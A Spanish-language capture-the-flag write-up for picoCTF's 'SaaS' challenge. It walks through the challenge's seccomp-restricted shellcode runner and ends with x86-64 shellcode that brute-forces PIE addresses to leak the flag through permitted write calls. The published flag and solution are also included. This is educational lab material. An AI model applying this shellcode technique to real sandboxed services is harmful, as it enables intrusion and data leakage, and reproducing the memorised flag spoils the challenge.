SaaS
4 minutos de lectura
Se nos proporciona un binario de 64 bits llamado chall
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Análisis de código estático
También tenemos el código fuente original en C (chall.c
):
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#define SIZE 0x100
// http://shell-storm.org/online/Online-Assembler-and-Disassembler/?inst=xor+rax%2C+rax%0D%0Amov+rdi%2C+rsp%0D%0Aand+rdi%2C+0xfffffffffffff000%0D%0Asub+rdi%2C+0x2000%0D%0Amov+rcx%2C+0x600%0D%0Arep+stosq%0D%0Axor+rbx%2C+rbx%0D%0Axor+rcx%2C+rcx%0D%0Axor+rdx%2C+rdx%0D%0Axor+rsp%2C+rsp%0D%0Axor+rbp%2C+rbp%0D%0Axor+rsi%2C+rsi%0D%0Axor+rdi%2C+rdi%0D%0Axor+r8%2C+r8%0D%0Axor+r9%2C+r9%0D%0Axor+r10%2C+r10%0D%0Axor+r11%2C+r11%0D%0Axor+r12%2C+r12%0D%0Axor+r13%2C+r13%0D%0Axor+r14%2C+r14%0D%0Axor+r15%2C+r15%0D%0A&arch=x86-64&as_format=inline#assembly
#define HEADER "\x48\x31\xc0\x48\x89\xe7\x48\x81\xe7\x00\xf0\xff\xff\x48\x81\xef\x00\x20\x00\x00\x48\xc7\xc1\x00\x06\x00\x00\xf3\x48\xab\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xe4\x48\x31\xed\x48\x31\xf6\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"
#define FLAG_SIZE 64
char flag[FLAG_SIZE];
void load_flag() {
int fd;
if ((fd = open("flag.txt", O_RDONLY)) == -1)
error(EXIT_FAILURE, errno, "open flag");
if (read(fd, flag, FLAG_SIZE) == -1)
error(EXIT_FAILURE, errno, "read flag");
if (close(fd) == -1)
error(EXIT_FAILURE, errno, "close flag");
}
void setup() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
int ret = 0;
if (ctx != NULL) {
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_EQ, STDOUT_FILENO));
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
ret |= seccomp_load(ctx);
}
seccomp_release(ctx);
if (ctx == NULL || ret)
error(EXIT_FAILURE, 0, "seccomp");
}
int main()
{
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
load_flag();
puts("Welcome to Shellcode as a Service!");
void* addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
memcpy(addr, HEADER, sizeof(HEADER));
read(0, addr + sizeof(HEADER) - 1, SIZE);
setup();
goto *addr;
}
Vemos que la función main
carga la flag en una variable global llamada flag
mediante la función load_flag
, luego prepara una región de memoria para permitirnos poner instrucciones a bajo nivel que serán ejecutadas después. Pero, antes de ejecutar nuestro código, el programa añade reglas seccomp
en setup
.
Analizando las reglas seccomp
Mediante seccomp-tools
podemos extraer qué instrucciones syscall
podemos emplear:
$ seccomp-tools dump ./chall
Welcome to Shellcode as a Service!
asdf
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x0000003c if (A == exit) goto 0012
0006: 0x15 0x05 0x00 0x000000e7 if (A == exit_group) goto 0012
0007: 0x15 0x00 0x05 0x00000001 if (A != write) goto 0013
0008: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0009: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0013
0010: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0011: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
Vale, entonces solamente sys_exit
, sys_exit_group
y sys_write
. Para conseguir la flag, la idea es iterar por todas las direcciones posibles y escribir so contenido en stdout
hasta que encontremos la flag.
Como PIE está habilitado, tendremos que realizar un ataque de fuerza bruta a la dirección de la variable flag
. Sabemos que los tres últimos valores hexadecimales no cambiarán (060
):
$ readelf -s chall | grep flag
74: 0000000000000bd0 141 FUNC GLOBAL DEFAULT 14 load_flag
75: 0000000000202060 64 OBJECT GLOBAL DEFAULT 24 flag
Exploit final
Entonces, este es el código ensamblador que vamos a enviar:
mov rsi, 0x550000002060 # Start searching from address
mov rdi, 1 # stdout
mov rdx, 100 # Length
write:
mov rax, 1 # $rax = 1 => sys_write
syscall
cmp rax, 0 # Error code
je exit
add rsi, 0x100000 # Increase address
jmp write
exit:
xor rax, rax
or rax, 0x3c # $rax = 0x3c => sys_exit
xor rdi, rdi # $rdi = 0 => Error code
syscall
Por experiencia, sé que las direcciones de binarios con PIE empiezan por 0x55
ó 0x56
. Lo podemos ver en GDB:
$ gdb -q chall
Reading symbols from chall...
(No debugging symbols found in chall)
gef➤ aslr on
[+] Enabling ASLR
gef➤ start
[+] Breaking at '0xa00'
gef➤ p &flag
$1 = (<data variable, no debug info> *) 0x561692002060 <flag>
gef➤ run
Starting program: ./chall
Welcome to Shellcode as a Service!
^C
Program received signal SIGINT, Interrupt.
0x00007f68d9afffd2 in __GI___libc_read (fd=0x0, buf=0x7f68d9c4c04b, nbytes=0x100) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ p &flag
$2 = (<data variable, no debug info> *) 0x559b14002060 <flag>
Como estamos buscando la variable flag
, usaré 0x550000002060
como la dirección inicial y la aumentaré en pasos de 0x100000
.
Flag
El exploit no funciona siempre porque el servidor tiene un tiempo de expiración. Pero en algún momento veremos la flag:
$ python3 solve.py mars.picoctf.net 31021
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}
El exploit completo se puede encontrar aquí: solve.py
.